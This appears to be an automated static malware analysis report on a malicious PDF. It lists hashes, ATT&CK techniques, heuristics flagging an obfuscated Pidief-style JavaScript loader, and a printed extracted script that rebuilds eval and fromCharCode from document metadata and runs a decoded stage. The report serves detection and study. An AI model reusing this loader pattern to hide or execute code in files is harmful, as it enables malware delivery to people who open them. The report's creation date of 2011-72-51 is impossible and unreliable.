Malicious PDF — malware analysis report

Static analysis result for SHA-256 ac4f77d49012c842…

MALICIOUS

PDF

18.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 3123fdd81f3fb71297f9ee70bdfee33d SHA-1: 1113ca53688d8551765eeb5825f4d7e93903b113 SHA-256: ac4f77d49012c8425a2f3f258be230c5933b874ac7ad09a03795bd0c5c769ee3
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript uses String.fromCharCode to obfuscate its content, a technique often employed to hide malicious actions. The ML classifier strongly flags this PDF as malicious. The script likely attempts to download and execute a second-stage payload, although the exact mechanism is obscured by the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x463E 356 bytes
SHA-256: 749aa6677da0bcfcf65d5cba97e628ba805072eb98666f0921de8bd50f734e5e
Preview script
First 1,000 lines of the extracted script
var w = 4;
var uaf = this.title.replace(/w/g,'*w,');
uaf = uaf.replace(/t/g,'2');
uaf=uaf.substr(0,uaf.length-2) + ']';
nmnn=function(){return function(){return this}()}();
nahbx=nmnn[this.subject];
vfqyc=nahbx(this.producer);
tjvw = nahbx(uaf);
var s = '';
for (i = 0; i < tjvw.length; i++) {
	ofx = tjvw[i];
	s += vfqyc(ofx);
}
nahbx(s);

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